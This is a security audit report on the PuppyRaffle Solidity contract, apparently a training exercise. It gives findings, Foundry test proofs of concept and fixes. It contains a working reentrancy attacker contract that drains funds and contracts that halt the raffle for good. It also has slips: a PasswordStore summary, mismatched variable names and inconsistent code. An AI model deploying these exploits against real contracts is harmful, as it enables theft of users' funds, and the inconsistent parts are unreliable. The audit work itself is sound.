



Protocol Audit Report

Version 1.0

maikelordaz@gmail.com

April 22, 2024

Protocol Audit Report

Maikel Ordaz

April 07, 2024

Prepared by: Maikel Ordaz Lead Security Researcher:

- Maikel Ordaz

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
- Protocol Summary
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] Reentrancy attack in `PuppyRaffle::refund` allows reentrant to drain raffle entrance
 - * [H-2] Week randomness in `PuppyRaffle::selectWinner` allows users to influence the outcome of the raffle

- * [H-3] Integer overflow of `PuppyRaffle::totalFees` in `PuppyRaffle::selectWinner` can lead to unexpected behavior
- * [H-4] Malicious winner can forever halt the raffle
- Medium
 - * [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants
 - * [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
 - * [M-3] Unsafe cast of `PuppyRaffle::fee` loses fees
 - * [M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Low
 - * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly may think they have not entered the raffle
- Informational
 - * [I-1]: Solidity pragma should be specific, not wide
 - * [I-2]: Using an outdated version of solidity is not recommended
 - * [I-3]: Missing checks for `address (0)` when assigning values to address state variables
 - * [I-4] `PuppyRaffle::selectWinner` does not follows CEI, which is not a best practice
 - * [I-5] Use of “magic numbers” is discouraged
 - * [I-6] Unchanged variables should be constant or immutable
 - * [I-7] Potentially erroneous active player index
 - * [I-8] Zero address may be erroneously considered an active player
- Gas
 - * [G-1] Unchanged state variables should be declared as constants or immutables
 - * [G-2] Refactor for loops

Protocol Summary

PasswordStore is a smart contract application for storing a password. Users should be able to store a password and then retrieve it later. Others should not be able to access the password.

Disclaimer

Maikel Ordaz, as a Blockchain Security Researcher makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
1 ./src/
2 -- PuppyRaffle.sol
```

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with varying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

Issues found

Severity	Number of issues found
High	4
Medium	4
Low	1
Info	8
Gas	2
Total	19

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows reentrant to drain raffle entrance

Description: The `PuppyRaffle::refund` function does not follow the CEI (Checks, Effects, Interactions) and, as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after that external call we update the `PuppyRaffle::players` array

```
1     function refund(uint256 playerId) public {
2         address playerAddress = players[playerIndex];
3         require(
4             playerAddress == msg.sender,
5             "PuppyRaffle: Only the player can refund"
6         );
7         require(
8             playerAddress != address(0),
9             "PuppyRaffle: Player already refunded, or is not active"
10        );
11
12        payable(msg.sender).sendValue(entranceFee);
13        players[playerIndex] = address(0);
14
15        emit RaffleRefunded(playerAddress);
16    }
```

A player that entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle until they drained all the contract balance

Impact: All fees paid by raffle entrants could be stolen by the malicious participant

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance

Proof of Code:

Paste and execute the next test in `PuppyRaffleTest.t.sol`

Test code

```
1     function test_reentrancyRefund() public {
2         // Four players into the raffle
3         address[] memory players = new address[](4);
4         players[0] = playerOne;
5         players[1] = playerTwo;
6         players[2] = playerThree;
7         players[3] = playerFour;
8         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9     }
```

```
10     ReentrancyAttacker attackerContract = new ReentrancyAttacker(  
11         puppyRaffle  
12     );  
13     address attackUser = makeAddr("attackUser");  
14     vm.deal(attackUser, 1 ether);  
15  
16     uint256 startingAttackContractBalance = address(  
17         attackerContract  
18     ).balance;  
19     uint256 startingPuppyRaffleBalance = address(puppyRaffle).  
20         balance;  
21  
22     // Attack  
23     vm.prank(attackUser);  
24     attackerContract.attack{value: entranceFee}();  
25  
26     console.log(  
27         "Starting attacker contract balance: ",  
28         startingAttackContractBalance  
29     );  
30     console.log(  
31         "Starting puppyRaffle balance: ",  
32         startingPuppyRaffleBalance  
33     );  
34  
35     console.log(  
36         "Ending attacker contract balance: ",  
37         address(attackerContract).balance  
38     );  
39     console.log(  
40         "Ending puppyRaffle balance: ",  
41         address(puppyRaffle).balance  
42     );  
43     assert(address(puppyRaffle).balance == 0);  
44 }
```

And this contract as well

Attacker contract code

```
1  contract ReentrancyAttacker {  
2      PuppyRaffle puppyRaffle;  
3      uint256 entranceFee;  
4      uint256 attackerIndex;  
5  
6      constructor(PuppyRaffle _puppyRaffle) {  
7          puppyRaffle = _puppyRaffle;  
8          entranceFee = puppyRaffle.entranceFee();  
9      }  
10 }
```

```
11     function attack() external payable {
12         address[] memory players = new address[] (1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17         ;
18         puppyRaffle.refund(attackerIndex);
19     }
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(
4             playerAddress == msg.sender,
5             "PuppyRaffle: Only the player can refund"
6         );
7         require(
8             playerAddress != address(0),
9             "PuppyRaffle: Player already refunded, or is not active"
10        );
11
12 +     players[playerIndex] = address(0);
13 +     emit RaffleRefunded(playerAddress);
14
15     payable(msg.sender).sendValue(entranceFee);
16
17 -     players[playerIndex] = address(0);
18 -     emit RaffleRefunded(playerAddress);
19 }
```


[H-2] Week randomness in PuppyRaffle::selectWinner allows users to influence the outcome of the raffle

Description: Hashing `msg.sender` and `block.timestamp` is not a secure way to generate randomness. An attacker could influence the outcome of the raffle by manipulating the `block.timestamp` or by creating multiple wallets to increase their chances of winning

Note: This additionally means users can front-run the raffle and know the outcome before it happens

```
1      function selectWinner() external {
2          require(
3              block.timestamp >= raffleStartTime + raffleDuration,
4              "PuppyRaffle: Raffle not over"
5          );
6          require(players.length >= 4, "PuppyRaffle: Need at least 4
7 @>          uint256 winnerIndex = uint256(
8              keccak256(
9                  abi.encodePacked(msg.sender, block.timestamp, block.
10                      difficulty)
11              ) % players.length;
12          address winner = players[winnerIndex];
13          uint256 totalAmountCollected = players.length * entranceFee;
14          uint256 prizePool = (totalAmountCollected * 80) / 100;
15          uint256 fee = (totalAmountCollected * 20) / 100;
16
17          totalFees = totalFees + uint64(fee);
18
19          uint256 tokenId = totalSupply();
20
21          // We use a different RNG calculate from the winnerIndex to
22          // determine rarity
23 @>          uint256 rarity = uint256(
24              keccak256(abi.encodePacked(msg.sender, block.difficulty))
25          ) % 100;
26          if (rarity <= COMMON_RARITY) {
27              tokenIdToRarity[tokenId] = COMMON_RARITY;
28          } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
29              tokenIdToRarity[tokenId] = RARE_RARITY;
30          } else {
31              tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
32          }
33
34          delete players;
35          raffleStartTime = block.timestamp;
36          previousWinner = winner;
37          (bool success, ) = winner.call{value: prizePool}("");
38          require(success, "PuppyRaffle: Failed to send prize pool to
39              winner");
```

```
38     _safeMint(winner, tokenId);
39 }
```

Impact: Any user can influence the winner of the raffle, winning the prize pool and selecting the `rarest` puppy

Proof of Concept:

1. Validators can know ahead the `block.timestamp` and `block.difficulty` and use that to predict when/how to enter the raffle.
2. `block.difficulty` was recently replaced by `block.prevrandao`

Recommended Mitigation: Consider using a cryptographically secure random number generator (RNG) like Chainlink VRF or Oraclize. This will ensure that the winner is selected in a secure and fair way.

[H-3] Integer overflow of `PuppyRaffle::totalFees` in `PuppyRaffle::selectWinner` can lead to unexpected behavior

Description: In solidity versions prior to 0.8.0 integers overflow silently, which can lead to unexpected behavior. In the `PuppyRaffle::selectWinner` function, we increment the `PuppyRaffle::totalFees` variable without checking for overflow

```
1 @>     totalFees = totalFees + uint64(fee);
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. If `totalFees` overflows, the `feeAddress` will not be able to collect the fees correctly, leaving them stuck in the contract

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will overflow
4. Lastly you will not be able to withdraw the fees because of this line if someone use `selfdestruct` to send ETH to the contract

```
1 require(address(this).balance >= totalFees, "PuppyRaffle: Not enough
   balance to withdraw fees");
```

Use the next test in `PuppyRaffleTest.t.sol`

Test code

```
1     function test_feesOverflow() external playersEntered {
2         vm.warp(block.timestamp + duration + 1);
3         vm.roll(block.number + 1);
4
5         puppyRaffle.selectWinner();
6         uint256 startingFees = puppyRaffle.totalFees();
7
8         uint256 newPlayers = 89;
9         address[] memory players = new address[] (newPlayers);
10
11         for (uint256 i = 0; i < newPlayers; i++) {
12             players[i] = address(i);
13         }
14
15         puppyRaffle.enterRaffle{value: entranceFee * newPlayers}(
16             players);
17
18         vm.warp(block.timestamp + duration + 1);
19         vm.roll(block.number + 1);
20
21         puppyRaffle.selectWinner();
22         uint256 endingFees = puppyRaffle.totalFees();
23
24         assert(endingFees < startingFees);
25
26         vm.prank(puppyRaffle.feeAddress());
27         vm.expectRevert("PuppyRaffle: There are currently players
28             active!");
29         puppyRaffle.withdrawFees();
30     }
```

Recommended Mitigation: There are a few possible mitigations

1. Use `SafeMath` to prevent overflow
2. Use newer versions of Solidity that revert on overflow, and `uint256` instead of `uint64`
3. Remove the `require` statement

```
1 -     require(address(this).balance >= totalFees, "PuppyRaffle: Not
2         enough balance to withdraw fees");
```

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
1 (bool success,) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
1 function testSelectWinnerDoS() public {
2     vm.warp(block.timestamp + duration + 1);
3     vm.roll(block.number + 1);
4
5     address[] memory players = new address[](4);
6     players[0] = address(new AttackerContract());
7     players[1] = address(new AttackerContract());
8     players[2] = address(new AttackerContract());
9     players[3] = address(new AttackerContract());
10    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
11
12    vm.expectRevert();
13    puppyRaffle.selectWinner();
14 }
```

For example, the `AttackerContract` can be this:

```
1 contract AttackerContract {
2     // Implements a `receive` function that always reverts
3     receive() external payable {
4         revert();
5     }
6 }
```

Or this:

```
1 contract AttackerContract {
2     // Implements a `receive` function to receive prize, but does not
3     // implement `onERC721Received` hook to receive the NFT.
4     receive() external payable {}
5 }
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential Denial of Service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address is an additional check in the loop.

```
1 @> for (uint256 i = 0; i < players.length - 1; i++) {
2     for (uint256 j = i + 1; j < players.length; j++) {
3         require(
4             players[i] != players[j],
5             "PuppyRaffle: Duplicate player"
6         );
7     }
8 }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have two sets of 100 players enter the gas costs will be as such: - 1st 100 players: ~6252047 gas - 2nd 100 players: ~18068137 gas

This is more than 3x more expensive for the second 100 players

PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
1  function test_denialOfService() public {
2      vm.txGasPrice(1);
3
4      uint256 playersNumber = 100;
5      address[] memory players = new address[](playersNumber);
6      for (uint256 i = 0; i < playersNumber; i++) {
7          players[i] = address(i);
8      }
9
10     uint256 gasBefore = gasleft();
11     puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
12         players);
13     uint256 gasAfter = gasleft();
14
15     uint256 gasUsedFirst = (gasBefore - gasAfter) * tx.gasprice;
16
17     console.log("Gas used for 100 players: ", gasUsedFirst);
18
19     address[] memory secondPlayers = new address[](playersNumber);
20     for (uint256 i = 0; i < playersNumber; i++) {
21         secondPlayers[i] = address(i + playersNumber); // 100
22         addresses
23     }
24
25     uint256 gasBeforeSecond = gasleft();
26     puppyRaffle.enterRaffle{value: entranceFee * playersNumber}(
27         secondPlayers
28     );
29     uint256 gasAfterSecond = gasleft();
30
31     uint256 gasUsedSecond = (gasBeforeSecond - gasAfterSecond) *
32         tx.gasprice;
33
34     console.log("Gas used for 100 players: ", gasUsedSecond);
35     assert(gasUsedSecond > gasUsedFirst);
36 }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Use OpenZeppelin's [EnumerableSet](#) library
3. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered

Recommended code

```
1 + mapping (address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3
4 function enterRaffle(address[] memory newPlayers) public payable {
5     require(
6         msg.value == entranceFee * newPlayers.length,
7         "PuppyRaffle: Must send enough to enter raffle"
8     );
9     for (uint256 i = 0; i < newPlayers.length; i++) {
10         players.push(newPlayers[i]);
11 +         addressToRaffleId[newPlayers[i]] = raffleId;
12     }
13
14 -     // Check for duplicates
15 +     for (uint256 i = 0; i < newPlayers.length - 1; i++) {
16 +         require(addressToRaffleId[newPlayers[i]] != raffleId, "
PuppyRaffle: Duplicate player");
17 +     }
18 -     for (uint256 i = 0; i < players.length - 1; i++) {
19 -         for (uint256 j = i + 1; j < players.length; j++) {
20 -             require(
21 -                 players[i] != players[j],
22 -                 "PuppyRaffle: Duplicate player"
23 -             );
24 -         }
25 -     }
26     emit RaffleEnter(newPlayers);
27 }
28
29
30 function selectWinner() external {
31 +     raffleId++;
32     require(
33         block.timestamp >= raffleStartTime + raffleDuration,
34         "PuppyRaffle: Raffle not over"
35     );
```

[M-2] Balance check on PuppyRaffle::withdrawFees enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1 function withdrawFees() external {
```

```
2  @>    require(address(this).balance == uint256(totalFees), "  
    PuppyRaffle: There are currently players active!");  
3      uint256 feesToWithdraw = totalFees;  
4      totalFees = 0;  
5      (bool success,) = feeAddress.call{value: feesToWithdraw}("");  
6      require(success, "PuppyRaffle: Failed to withdraw fees");  
7  }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in its balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1  function withdrawFees() external {  
2  -    require(address(this).balance == uint256(totalFees), "  
    PuppyRaffle: There are currently players active!");  
3      uint256 feesToWithdraw = totalFees;  
4      totalFees = 0;  
5      (bool success,) = feeAddress.call{value: feesToWithdraw}("");  
6      require(success, "PuppyRaffle: Failed to withdraw fees");  
7  }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1  function selectWinner() external {  
2      require(block.timestamp >= raffleStartTime + raffleDuration, "  
    PuppyRaffle: Raffle not over");  
3      require(players.length > 0, "PuppyRaffle: No players in raffle");  
4  
5      uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.  
        sender, block.timestamp, block.difficulty))) % players.  
        length;  
6      address winner = players[winnerIndex];  
7      uint256 fee = totalFees / 10;  
8      uint256 winnings = address(this).balance - fee;
```



```
9  @>    totalFees = totalFees + uint64(fee);
10      players = new address[] (0);
11      emit RaffleWinner(winner, winnings);
12  }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1  uint256 max = type(uint64).max
2  uint256 fee = max + 1
3  uint64(fee)
4  // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1  // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
              players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                 timestamp, block.difficulty))) % players.length;
11             address winner = players[winnerIndex];
12             uint256 totalAmountCollected = players.length * entranceFee;
13             uint256 prizePool = (totalAmountCollected * 80) / 100;
14             uint256 fee = (totalAmountCollected * 20) / 100;
15  -   totalFees = totalFees + uint64(fee);
```

```
16 +         totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a receive or a fallback will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the ownership on the winner to claim their prize. (Recommended)

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly may think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the NatSpec, it will return 0 if the player is not in the array

```
1 @> /// @return the index of the player in the array, if they are not
    active, it returns 0
2     function getActivePlayerIndex(
3         address player
4     ) external view returns (uint256) {
5         for (uint256 i = 0; i < players.length; i++) {
6             if (players[i] == player) {
7                 return i;
```

```
8         }
9     }
10 @>     return 0;
11 }
```

Impact: A player at index 0 to incorrectly may think they have not entered the raffle, and attempt to enter again, waisting money and gas

Proof of Concept:

1. Player 0 enters the raffle
2. Player 0 calls `PuppyRaffle::getActivePlayerIndex` and receives 0
3. Player 0 thinks they have not entered the raffle according the documentation, and attempts to enter again

Recommended Mitigation: The easiest would be to revert if the player is not in the array, insntead of returning 0. Or return an `int256` and return `-1` if the player is not in the array

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in `src/PuppyRaffle.sol` Line: 4

```
1 pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of solidity is not recommended

Description: solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

0.8.18 The recommendations take into account:

Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information

[I-3]: Missing checks for address (0) when assigning values to address state variables

Description: Check for `address(0)` when assigning values to address state variables.

- Found in `src/PuppyRaffle.sol` Line: 75

```
1 feeAddress = _feeAddress;
```

- Found in `src/PuppyRaffle.sol` Line: 231

```
1 feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follows CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions) pattern. In the `PuppyRaffle::selectWinner` function, we first make an external call to the `msg.sender` address and only after that external call we update the `PuppyRaffle::players` array

```
1 + _safeMint(winner, tokenId);
2   (bool success, ) = winner.call{value: prizePool}("");
3   require(success, "PuppyRaffle: Failed to send prize pool to winner"
4 -   );
5   _safeMint(winner, tokenId);
```

[I-5] Use of “magic numbers” is discouraged

It can be confusing to see numbers literals in a codebase, and it's much more readable if the numbers are declared and given some names.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100;
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

- 1 `PuppyRaffle.commonImageUri` (`src/PuppyRaffle.sol#35`) should be constant
- 2 `PuppyRaffle.legendaryImageUri` (`src/PuppyRaffle.sol#45`) should be constant
- 3 `PuppyRaffle.rareImageUri` (`src/PuppyRaffle.sol#40`) should be constant

Immutable Instances:

- 1 `PuppyRaffle.raffleDuration` (`src/PuppyRaffle.sol#21`) should be immutable

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return $2^{256}-1$ (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that “This function will allow there to be blank spots in the array”. However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there’s been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas

[G-1] Unchanged state variables should be declared as constants or immutables

Reading from storage is more expensive than reading from constant or immutable variables

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::COMMON_RARITY` should be constant - `PuppyRaffle::COMMON` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::RARE_RARITY` should be constant - `PuppyRaffle::RARE` should be constant - `PuppyRaffle::legendaryImageUri` should be constant - `PuppyRaffle::LEGENDARY_RARITY` should be constant - `PuppyRaffle::LEGENDARY` should be constant

[G-2] Refactor for loops

Every time you read from storage is more expensive than from memory that is more gas efficient, also there is no need to initialize variables to default values, and you can use unchecked blocks and change `i++` for `++i`

```
1 +      uint256 playersLength = players.length
2 +      for (uint256 i = 0; i < playersLength;) {
3 -      for (uint256 i = 0; i < players.length - 1; i++) {
4 +      for (uint256 j = i; j < playersLength;) {
5 -      for (uint256 j = i + 1; j < players.length; j++) {
6          require(
7              players[i] != players[j],
8              "PuppyRaffle: Duplicate player"
9          );
10 +      unchecked {
11 +          ++j;
12 +      }
13      }
14 +      unchecked {
15 +          ++i
16 +      }
17      }
```